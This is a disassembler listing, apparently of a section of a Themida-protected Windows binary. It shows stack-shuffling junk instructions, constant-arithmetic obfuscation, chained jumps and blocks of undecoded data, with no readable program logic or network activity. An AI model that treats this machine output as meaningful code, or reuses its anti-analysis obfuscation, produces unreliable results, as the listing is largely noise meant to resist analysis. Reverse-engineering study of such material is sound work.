		dd 5D00001Ah, 6D5BE281h, 0EAD15871h, 23CEEA81h,	0C2814721h
		dd 6D0D7404h, 6A5FC281h, 65E933A8h, 530000F7h, 479DBBBBh
		dd 5BD929B8h, 0C8BCD01h, 4C48124h, 0E9000000h, 0E468h
		dd 24048B66h, 0E9E78957h, 0FFFFDF3Fh, 0ABEB815Bh, 1758874h
		dd 0ABC381CBh, 8B758874h, 0C481240Ch, 4, 0FFF6D9E9h, 0E9D7F7FFh
		dd 0DF08h, 24048B66h, 4EC8151h,	89000000h, 3B682424h, 8900007Dh
		dd 4BE2434h, 0E9000000h, 4593h,	0F800162Ch, 1C8B1604h
		dd 0E9545024h, 759Ch, 8AD6E7B8h, 58C52922h, 40FC381h, 0EB013131h
		dd 0FFE4DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5138C9:				; CODE XREF: Themida_:0051E54Cj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	dword ptr [edi+24h]


loc_5138E3:				; CODE XREF: Themida_:005212C1j
		push	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 31C67B71h
		xor	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_50F926
; ---------------------------------------------------------------------------


loc_513902:				; CODE XREF: Themida_:0051EE54j
		sub	bl, 0C6h
		sub	bl, ch
		jmp	loc_51EA67
; ---------------------------------------------------------------------------


loc_51390C:				; CODE XREF: Themida_:005165A1j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_523C01
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4832414h, 4C48304h, 8B24048Fh, 8B662424h
		dd 54572414h, 0BF68515Fh, 8B29D512h, 0C481240Ch, 4, 3BD6E981h
		dd 87E93C03h
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_513953:				; CODE XREF: Themida_:00513D1Fj
		pop	esi
		push	eax
		mov	eax, 67732410h
		push	esi
		mov	esi, 286357F6h
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, 2DBB3667h
		jmp	loc_512D6D
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4, 504EE9h, 24343300h, 33243431h, 248B2434h,	24D36624h
		dd 5DE99C24h, 0FFFFFFA8h, 48B2434h, 0E6895624h,	4C681h
		dd 7C680000h, 89000002h, 4BB241Ch, 1000000h, 34875BDEh
		dd 68505C24h, 35A5h, 0FFE249E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5139C1:				; CODE XREF: Themida_:005147CCj
		push	ebx
		push	6C2E539Eh
		jmp	loc_521F09
; ---------------------------------------------------------------------------
		dd 4C181h, 0C870000h, 0B3E95C24h, 5E00008Fh, 432DC829h
		dd 5935A158h, 61BE9h, 0ED815D00h, 45211596h, 526FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5139F5:				; CODE XREF: Themida_:0050E9D2j
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 14D908B8h
		add	edi, 1
		sub	edi, 0DCA2FB6Ch
		sub	ebx, edi
		pop	edi
		sub	esi, ebx
		pop	ebx
		shr	esi, 1
		xor	esi, 454F7DF6h
		add	ebx, esi
		jmp	loc_51BC8C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 0CAD7E904h, 0C1810000h, 6F0A75B3h, 0F2EFE95Bh
		dd 0FE010000h, 612C681h, 895F1528h, 0E1E95EF2h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_513A47:				; CODE XREF: Themida_:0050E4AEj
		push	ecx
		mov	cl, ah
		mov	bh, cl
		pop	ecx
		pop	eax
		mov	ch, bh
		pop	ebx
		mov	[edi+eax*4+1], ch
		mov	ecx, [esp]
		push	4934h
		mov	[esp], eax
		push	2A3Ch
		jmp	loc_5150FA
; ---------------------------------------------------------------------------
		dw 481h
aGsssx		db '$[GSx\',0
		align 2
aH?5		db 'h?5',0
		dw 8900h
		dd 0EBD242Ch, 297E9E8Bh, 242C8BEAh, 0F9C7E9h, 1C77FF00h
		dd 6659669Dh, 9C241CD3h, 0FFA753E9h, 241C87FFh,	2414895Ch
		dd 8B468h, 24248900h, 4240483h,	4EC835Ah, 0BF243C89h, 32295E5Dh
		dd 1C15E781h, 2BE904F4h, 3300007Fh, 2C31242Ch, 242C3324h
		dd 240C895Ch, 4A98E9h, 241C8900h, 8B93E9h, 68CE8100h, 0E91A621Bh
		dd 47DBh, 4B951h, 5AE90000h, 4E00003Ch,	0E8F7E9h, 8BCE2900h
		dd 0C481240Ch, 4, 15EF189h, 2434FFCDh, 0B536E959h, 8142FFFFh
		dd 8D2756F2h, 0FADFE952h, 0CA010000h, 3C8B5F59h, 4C48324h
		dd 0E117E9h, 80C78000h,	0EF80D700h, 2434FF80h, 0E089505Ah
		dd 405h, 4C08300h, 9671E9h, 5AD12900h, 5BADF181h, 0B850B747h
		dd 7FA711AFh, 0FD0DD0F7h, 0D2DA102h, 13D90DB0h,	0BC78022Dh
		dd 0F4BF578Fh, 8166EB30h, 703E88CFh, 2AEFE959h,	8B660000h
		dd 0F7682404h, 89000029h, 8B542414h, 89562414h,	47BA52E6h
		dd 8125165Ch, 0AB6255C2h, 1CF8E920h, 34FF0000h,	89565E24h
		dd 0F6B951E6h, 4938B62Bh, 820E981h, 0C1815ED7h,	2620DC2Fh
		dd 0A990E9h, 0EB295900h, 0F1BF575Dh, 1440831h, 0B9515FFBh
		dd 471419DAh, 0BE9CB01h, 51000051h, 4EC81h, 9FE90000h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_513BE7:				; CODE XREF: Themida_:0051EA0Fj
		sub	ebp, edi
		pop	edi
		mov	edi, ebp
		pop	ebp
		jmp	loc_51974D
; ---------------------------------------------------------------------------


loc_513BF2:				; CODE XREF: Themida_:00519247j
		push	45C3h
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		add	eax, 1FB8113Eh
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_51D151
; ---------------------------------------------------------------------------


loc_513C13:				; CODE XREF: Themida_:00516B78j
		add	eax, 3E17C814h
		push	ecx
		mov	ecx, eax
		mov	edx, ecx
		pop	ecx
		pop	eax
		neg	edx
		not	edx
		push	649Eh
		mov	[esp], ecx
		mov	ecx, 7882110Eh
		and	edx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 0C001F000h
		add	edx, ebx
		pop	ebx
		and	eax, edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_516F4A
		push	dword ptr [edi+1Ch]
		jmp	loc_515B3F
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 3304C183h,	0F0E9240Ch
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_513C7B:				; CODE XREF: Themida_:0051F5E5j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp


loc_513C87:				; CODE XREF: Themida_:00519D7Ej
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_51D6EC
; ---------------------------------------------------------------------------


loc_513C95:				; CODE XREF: Themida_:00511523j
		push	6E8316ADh
		pop	esi
		add	esi, 61A6696Eh
		sub	esi, 0B01A053Ah
		jmp	loc_51AFA1
; ---------------------------------------------------------------------------
		dd 4B8h, 8BC30100h, 5BE92404h, 8BFFFFD1h, 1CE9243Ch, 0B0000093h
		dd 8BC58822h, 0C4832404h, 493DE904h, 0DD870000h, 0C8A4E995h
		dd 0C1460000h, 0DEF708EEh, 8104EEC1h, 5B1871C6h, 5EF7313Fh
		dd 0AF3FE9h
		db 0
; ---------------------------------------------------------------------------


loc_513CF1:				; CODE XREF: Themida_:00523ABBj
		mov	[esp], ebp
		jmp	loc_51C2D3
; ---------------------------------------------------------------------------
		db 1, 0D3h, 81h
		dd 617AEC3h, 7DEB8165h,	8112627Fh, 4A42E8C3h, 0D92AE94Ah
		dd 0E3810000h, 6EEB2135h, 0FFCDFEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_513D1D:				; CODE XREF: Themida_:00514BA5j
		push	esi
		push	esp
		jmp	loc_513953
; ---------------------------------------------------------------------------


loc_513D24:				; CODE XREF: Themida_:0050F229j
		dec	ebp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_51A695
; ---------------------------------------------------------------------------
		dd 4C7835Eh, 31243C33h,	41E9243Ch, 83FFFFCBh, 148704EAh
		dd 14895C24h, 2474FF24h, 2434FF04h, 0FFDF83E9h,	5DC181FFh
		dd 16B13F8h, 7BE959CBh
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_513D63:				; CODE XREF: Themida_:0051CB2Ej
		push	ebp
		push	1FB8113Eh
		mov	ebp, [esp]
		add	esp, 4
		sub	dword ptr [esp+4], 58D94641h
		sub	[esp+4], ebp
		add	dword ptr [esp+4], 58D94641h
		jmp	loc_51B4A0
; ---------------------------------------------------------------------------
		dd 1859B951h, 0C1817382h, 1A4504BAh, 0E749E9h, 0F1C38100h
		dd 0C1614D45h, 0C8E908EBh, 81000096h, 45149EEAh, 57C2010Fh
		dd 45149EBFh, 5FFA010Fh, 2D2D68h, 597DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_513DC2:				; CODE XREF: Themida_:0050F6E4j
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_51DD74
; ---------------------------------------------------------------------------
aHAlsvt		db 'h=ALV',0
		align 2


loc_513DD6:				; CODE XREF: Themida_:0051A480j
		mov	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_50F964
; ---------------------------------------------------------------------------
		dd 81D9F75Eh, 0D344C3E9h, 22685346h, 8900003Eh,	3FBE2434h
		dd 897E671Ch, 38C6E9F3h, 0C1880000h, 0C9FE5B58h, 5008E1C0h
		dd 0CC8058B4h, 80CCFEF6h, 0C48061ECh, 7DC1802Fh, 3E9E100h
		db 0D2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_513E23:				; CODE XREF: Themida_:00512EE8j
		pop	esi
		sub	esp, 4
		jmp	loc_51ABEC
; ---------------------------------------------------------------------------


loc_513E2F:				; CODE XREF: Themida_:0051D588j
		mov	ecx, 0B5FACE88h
		add	ecx, ebx
		jmp	loc_510A2F
; ---------------------------------------------------------------------------
		db 51h
		dd 0A808F2B9h, 0FB58E90Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_513E46:				; CODE XREF: Themida_:0051CAD0j
		mov	ebp, 9A819FAh
		jmp	loc_50F657
; ---------------------------------------------------------------------------
		dd 563844B8h, 0FFC83122h, 57592434h, 0C781E789h, 4, 0F7E95556h
		dd 89FFFFD1h, 24B1240Ch, 8904EC83h, 8DB7241Ch, 0F780CFFEh
		dd 6EFC04Ah, 80C8B551h,	0F580AEEDh, 6BCDE952h, 89500000h
		dd 84E3E9E0h, 0BABF0000h, 0F7022E07h, 8EFC1DFh,	0CFCF814Fh
		dd 81111075h, 9CE5AAF7h, 0C1D7F761h, 0E78104EFh, 0F237165h
		dd 0F705E7C1h, 1833E9D7h, 0FD210000h, 5E5C15Fh,	2B2CC581h
		dd 52E96AC1h
		db 0D2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_513ED3:				; CODE XREF: Themida_:0050EA1Aj
		add	ebx, ecx
		jmp	loc_50EC7A
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 8302E924h, 590000h, 2434FFE6h, 4C48158h, 0E9000000h
		dd 2926h, 8324248Bh, 0EC8104C4h, 4, 0E9243C89h,	0E6A1h
; ---------------------------------------------------------------------------


loc_513F08:				; CODE XREF: Themida_:005216D8j
		not	ebx
		push	121Fh
		mov	[esp], eax
		mov	eax, 68132975h
		push	esi
		mov	esi, 76C612BBh
		jmp	loc_512180
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 8B241487h, 52512424h, 0CB39F3BAh,	71F28113h, 0E9741A5Ah
		dd 0FFFFDB1Dh
; ---------------------------------------------------------------------------


loc_513F40:				; CODE XREF: Themida_:0050E9BFj
		mov	edi, esp
		jmp	loc_520569
; ---------------------------------------------------------------------------
		db 81h
		dd 0A07F22F2h, 5EAC133h, 0FFF82EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_513F55:				; CODE XREF: Themida_:0051CBB2j
		add	edi, ecx
		jmp	loc_51B36C
; ---------------------------------------------------------------------------
		dd 5C243C87h, 89240C89h, 2039E9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_513F6A:				; CODE XREF: Themida_:0051CA43j
		sub	esi, ecx
		pop	ecx
		not	esi
		jmp	loc_51D026
; ---------------------------------------------------------------------------
		dd 9C241CF6h, 6C02E9h, 0B7F18100h, 8127C253h, 0E46128E9h
		dd 0F3E18177h, 417C5576h, 0C181E1D1h, 754BE36Eh, 7E9CB29h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_513F9F:				; CODE XREF: Themida_:0051D6DBj
		push	7562h
		jmp	loc_516BE7
; ---------------------------------------------------------------------------
		db 58h,	88h, 0CCh
		dd 241C8B59h, 5104C483h, 0CDFE4FB5h, 2454F651h,	0FBD2E901h
		dd 34FF0000h, 68505924h, 1E2Eh,	24048F54h, 0FFC4D8E9h
		dd 5EE81FFh, 17D0546h, 14875EF2h, 0D51DE924h, 0E9550000h
		dd 0DBDBh, 8B5BFE88h, 0C4812404h, 4, 0FFE6305Bh, 0E9582434h
		dd 0DB1h, 0B523E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51400A:				; CODE XREF: Themida_:005218F8j
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, ecx
		sub	ebp, 31AA1DA4h
		pop	ecx
		add	ebp, 7AD157D0h
		push	dword ptr [esp]
		jmp	loc_51736E
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFFCA6Fh, 0E84B6E2Dh, 3EE5E978h, 14890000h, 0F75AE924h
		dd 53560000h, 7D33C9BBh, 0FFC38335h, 58C7E9h
		db 0
; ---------------------------------------------------------------------------


loc_514051:				; CODE XREF: Themida_:0050E75Aj
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5166CB
; ---------------------------------------------------------------------------
		db 31h
		dd 2434FFCBh, 4C48359h,	1EB81h,	0AEE90000h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_51407B:				; CODE XREF: Themida_:005235FCj
		sub	ecx, 76736D98h
		add	ecx, eax
		add	ecx, 76736D98h
		pop	eax
		push	ebp
		jmp	loc_5214EB
; ---------------------------------------------------------------------------
		dd 0F2E9D031h, 5E000054h, 4C481h, 48F0000h, 24248B24h
		dd 5EC38166h, 0F1E95772h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5140AF:				; CODE XREF: Themida_:00515CD9j
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 6Bh
		jmp	loc_512B86
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 7E8C6800h, 14890000h, 2474FF24h, 0C4BBE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5140D6:				; CODE XREF: Themida_:0052007Bj
		push	ebp
		jmp	loc_5155B0
; ---------------------------------------------------------------------------
		dd 0C104C483h, 0BA5208E7h, 6D116612h, 0E95AD721h, 5430h
		dd 7AE9E700h, 5D0000AFh, 3D31BE56h, 0F33145DAh,	0FFD678E9h
		dd 56E289FFh, 4BEh, 0E9F20100h,	2277h, 0F80E2CB8h, 0FFFF0507h
		dd 0E0D1FFFFh, 7B17E955h, 0C2810000h, 4, 0FFA9D6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_514131:				; CODE XREF: Themida_:00522F19j
		xchg	ebp, ebx
		not	ebp
		push	ebx
		push	ebp
		pop	ebx
		pop	ebp
		sub	ebx, 0CC0CCE21h
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_50E6CC
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 7DE95456h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51415F:				; CODE XREF: Themida_:0051137Fj
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_5187A1
; ---------------------------------------------------------------------------
		db 35h
		dd 930CCAE2h, 6DE9C789h, 66FFFFE1h, 280EB050h, 805866C7h
		dd 0FE00F4F7h, 5EEC05Bh, 0D087F680h, 0B05066E6h, 1BB35332h
		dd 0E908EBC0h, 0EF67h
; ---------------------------------------------------------------------------


loc_5141A4:				; CODE XREF: Themida_:0051B4D1j
		xor	edi, 36E411C6h
		sub	edi, 0AE86B45Bh
		push	edi
		mov	edi, 27957425h
		sub	edi, 0C50924F7h
		sub	edx, edi
		pop	edi
		add	edx, edi
		add	edx, 628C4F2Eh
		pop	edi
		jmp	loc_51EAC0
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 66BB241Ch, 0C1090427h, 0DBF702E3h, 68FFC383h
		dd 55B9h, 0A17BE9h, 24148700h, 2414895Ch, 4BAh,	8BD30100h
		dd 0A0682414h, 89000048h, 0E0892404h, 405h, 40500h, 4870000h
		dd 0F1685C24h, 0E900002Fh, 0CDE3h
; ---------------------------------------------------------------------------


loc_514220:				; CODE XREF: Themida_:0052223Bj
		sub	eax, 235A21ACh
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_522FCF
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0EBh
		dd 0B332A52Ch, 0FF1C5F09h, 555B2434h, 349768h, 24248900h
		dd 4240481h, 8B000000h,	2BE9242Ch, 8B000017h, 54502424h
		dd 582434FFh, 0E904C483h, 5BF3h, 6696C581h, 1FE924CDh
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51427B:				; CODE XREF: Themida_:0051F6A2j
		shl	esi, 6
		not	esi
		or	esi, 552E196Fh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2F014B67h
		push	esi
		mov	esi, 1E3B578Ah
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		and	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	esi, 466DEBA7h
		add	eax, esi
		jmp	loc_51CDAF
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 5D545524h, 0FFF38EE9h, 4ED81FFh, 87000000h, 248B242Ch
		dd 24348924h, 0B45539BEh, 3E6C15Fh, 76C2F681h, 0C6817154h
		dd 40EA566Fh, 2435E681h, 0A9E958C9h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5142F3:				; CODE XREF: Themida_:00520A24j
		mov	esi, [esp]
		add	esp, 4
		sub	ebp, 78902236h
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_51655B
; ---------------------------------------------------------------------------


loc_51430D:				; CODE XREF: Themida_:00515056j
		mov	esi, 4
		sub	ecx, esi
		pop	esi
		xor	ecx, [esp]
		jmp	loc_510DB4
; ---------------------------------------------------------------------------
		db 0BEh, 62h, 70h
		dd 0C78119EAh, 2D7A00FCh, 40F0C781h, 0F7294BDBh, 40F0EF81h
		dd 0EF814BDBh, 2D7A00FCh, 8324348Bh, 0EF8104C4h, 0EF06C763h
		dd 0FFE9D0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51434D:				; CODE XREF: Themida_:00511B88j
		not	dword ptr [esp]
		jmp	loc_5133B9
; ---------------------------------------------------------------------------
		db 0FEh, 0C7h, 0E9h
		dd 8F6Bh, 89241489h, 76853E2h, 89000000h, 0EC832404h, 24348904h
		dd 64F3568h, 0EED15E0Dh, 5ECAE681h, 0F68112DDh,	685677E5h
		dd 36E95652h, 0F7000070h, 0FFC083D0h, 4AC5C405h, 58C60128h
		dd 0FFD949E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51439D:				; CODE XREF: Themida_:00514A28j
		mov	ebx, 0C020281h
		jmp	loc_51237C
; ---------------------------------------------------------------------------
		db 58h
		dd 1C8BD829h, 4C48124h,	5000000h, 2E406F7Fh, 4F94E9h
		db 0
; ---------------------------------------------------------------------------


loc_5143BD:				; CODE XREF: Themida_:00514C99j
		xor	ebp, 245139C6h
		sub	ebx, ebp
		pop	ebp
		jmp	loc_5157B3
; ---------------------------------------------------------------------------
		db 0BFh
		dd 26376C4Ch, 5C63CF81h, 0E7C12BC5h, 60E78106h,	4F61A54Dh
		dd 8105E7C1h, 210A97F7h, 0FFFE0125h
		db 34h,	24h, 5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		sub	esi, 7A373069h
		mov	eax, [esp]
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_51EE12
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 8904EC83h, 0E7B82404h, 0F731432Ah, 4BA135D0h, 5F3571A6h
		dd 0E92C1654h, 0FFFFFD3Bh, 9DB2E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51443E:				; CODE XREF: Themida_:0050F70Bj
		mov	ecx, esp
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		jmp	loc_520C85
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 4CBB7262h, 3484B951h, 0CE014C47h, 8F32E9h
		db 0
; ---------------------------------------------------------------------------


loc_514461:				; CODE XREF: Themida_:005166BDj
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_51A224
; ---------------------------------------------------------------------------
		dd 5259595Dh, 0D83041BAh, 35CA816Ch, 816EDF78h,	0EE3D5BE2h
		dd 0BAADE970h, 0E981FFFFh, 67BF1143h, 0D9E2E941h, 0EC81FFFFh
		dd 4, 52240C89h, 0F28073B2h, 80C2FE63h,	0C0E9E7C2h
		db 0B3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5144AB:				; CODE XREF: Themida_:0051E74Aj
		xchg	ebp, [esp]
		pop	esp
		add	eax, 4
		jmp	loc_51FC8E
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 5Dh
		dd 8961996Eh, 242C8BE9h, 8104C483h, 0AC1E7EC5h,	56CD0116h
		dd 0AC1E7EBEh, 0AFC58116h, 5057970Fh, 0FFEBB8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5144E1:				; CODE XREF: Themida_:00514BB8j
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edi, ecx
		pop	ecx
		push	ebp
		push	4
		pop	ebp
		add	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_5223EB
; ---------------------------------------------------------------------------
		db 0E9h, 0DEh, 9Ch
		dd 1C87FFFFh, 24248B24h, 3B89B850h, 663502DFh, 5650C25Ah
		dd 533C72BEh, 0FFF2012Eh, 835E2434h, 0C20104C4h, 3C72EA81h
		dd 48B2E53h, 4C48124h, 0E9000000h, 0BE59h, 405h, 24043300h
		dd 33240431h, 0E95C2404h, 0FFFFF421h
; ---------------------------------------------------------------------------


loc_51455C:				; CODE XREF: Themida_:005153F6j
		add	ecx, 3C7C333Ah
		jmp	loc_51FB51
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FFFFEB81h, 0B850FFFFh, 7FB43B92h, 447E9625h, 30E50552h
		dd 0C321E901h, 63EB8158h, 810B0529h, 0CD59AFEEh, 81DE016Dh
		dd 4ECh, 0F53FE900h, 5250FFFFh,	122DF868h, 0E2815A3Bh
		dd 3F205BC7h, 0F642C281h, 0D089C4FFh, 0EB9DE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5145B6:				; CODE XREF: Themida_:00521B6Ej
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_51F4F0
; ---------------------------------------------------------------------------
		db 52h
		dd 0FFBFD8E9h, 50515AFFh, 8852FC88h, 5AD188E2h,	0FFF9C8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5145E1:				; CODE XREF: Themida_:0052075Ej
		inc	ebx
		jmp	loc_5169CA
; ---------------------------------------------------------------------------


loc_5145E7:				; CODE XREF: Themida_:00517B71j
		and	eax, edx
		pop	edx
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_51C817
; ---------------------------------------------------------------------------
		dd 6645F680h, 53F78853h, 12454F6h, 0E9FE885Bh, 0FFFFDB8Ch
		dd 5C243C87h, 50E18951h, 235085B8h, 0E8C14878h,	0D1D8F704h
		dd 95EC2DE0h, 0C101F0FBh, 466DE9h, 1EB8100h, 81000000h
		dd 1FFC6FEBh, 0A721E9FBh, 8B66FFFFh, 0D1E92404h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_514643:				; CODE XREF: Themida_:0051474Cj
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_52062F
; ---------------------------------------------------------------------------


loc_51464D:				; CODE XREF: Themida_:00517ACCj
		sub	esi, 3E0F50DDh
		add	esi, ebp
		add	esi, 3E0F50DDh
		sub	esi, 19EF445Bh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_51CABE
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 4C681h, 34870000h, 0C0A8E924h, 50580000h
		dd 7F121AB8h, 0C1D0F755h, 879506E0h, 0E9D3F7DDh, 0FFFFF636h
; ---------------------------------------------------------------------------


loc_51469C:				; CODE XREF: Themida_:0051E95Dj
		pop	esi
		jmp	loc_510E92
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFFD1CAh, 2C6815Ah, 0E9000000h, 0B3E3h
; ---------------------------------------------------------------------------


loc_5146B4:				; CODE XREF: Themida_:00522F6Aj
		sub	edx, 59277126h
		add	edx, ecx
		add	edx, 59277126h
		add	edx, 322476E1h
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		add	dword ptr [ebx], 1
		pop	ebx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_512B49
; ---------------------------------------------------------------------------


loc_5146F1:				; CODE XREF: Themida_:0051D6CDj
		add	dword ptr [esp+4], 39D2B69h
		jmp	loc_519418
; ---------------------------------------------------------------------------


loc_5146FE:				; CODE XREF: Themida_:00520D12j
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_521A99
; ---------------------------------------------------------------------------


loc_51470A:				; CODE XREF: Themida_:0050EF77j
		push	ebx
		mov	ebx, 183162A9h
		add	ebx, 0FAE75D74h
		jmp	loc_5228E8
; ---------------------------------------------------------------------------
		db 0BAh
		dd 22865565h, 22EE281h,	0DAF76573h, 0A3C2814Ah,	89992E19h
		dd 0D9E95AD5h, 5F0000D5h, 0FFF410E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51473D:				; CODE XREF: Themida_:005114F5j
		xor	esi, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	48AFh
		jmp	loc_514643
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 9C240400h, 6F3EE9h, 5DEA0100h, 0E9241487h, 0DDF0h, 0E9240489h
		dd 0FFFFD9C6h, 8124048Bh, 4C4h,	59545100h, 7B46E9h, 0E9CA2900h
		dd 9C73h
; ---------------------------------------------------------------------------


loc_514788:				; CODE XREF: Themida_:0051758Dj
		xchg	esi, [esp]
		mov	esp, [esp]
		and	ecx, eax
		mov	eax, [esp]
		jmp	loc_519E33
; ---------------------------------------------------------------------------
		dd 24048B66h, 4CE568h, 7CDBE900h, 34FF0000h, 0CFE95A24h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5147AF:				; CODE XREF: Themida_:0050F502j
		or	ebx, ebp
		jmp	loc_513436
; ---------------------------------------------------------------------------


loc_5147B6:				; CODE XREF: Themida_:0051F9BFj
		mov	ecx, eax
		pop	eax
		mov	ebp, [esp]
		add	esp, 4
		mov	eax, ecx
		pop	ecx
		push	esi
		push	7D65h
		mov	[esp], edi
		push	ebp
		jmp	loc_5139C1
; ---------------------------------------------------------------------------


loc_5147D1:				; CODE XREF: Themida_:0051135Fj
		dec	ebx
		jmp	loc_51151A
; ---------------------------------------------------------------------------
		db 55h
		dd 4BDh, 0E9E82900h, 0FFFFC177h
; ---------------------------------------------------------------------------


loc_5147E4:				; CODE XREF: Themida_:0051B192j
		push	esp
		jmp	loc_515423
; ---------------------------------------------------------------------------


loc_5147EA:				; CODE XREF: Themida_:0051DC26j
		sub	dword ptr [esp+4], 0B2B4665h
		sub	[esp+4], ecx
		add	dword ptr [esp+4], 0B2B4665h
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		push	ebx
		jmp	loc_517048
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 6624248Bh, 66241489h, 0CDE99C50h, 54FFFF99h,	0E685059h
		dd 8900004Fh, 0EC83242Ch, 24048904h, 8D045CB8h,	2301E971h
		dd 1C870000h, 7A3BE924h, 4B80000h, 1000000h, 0BE958C5h
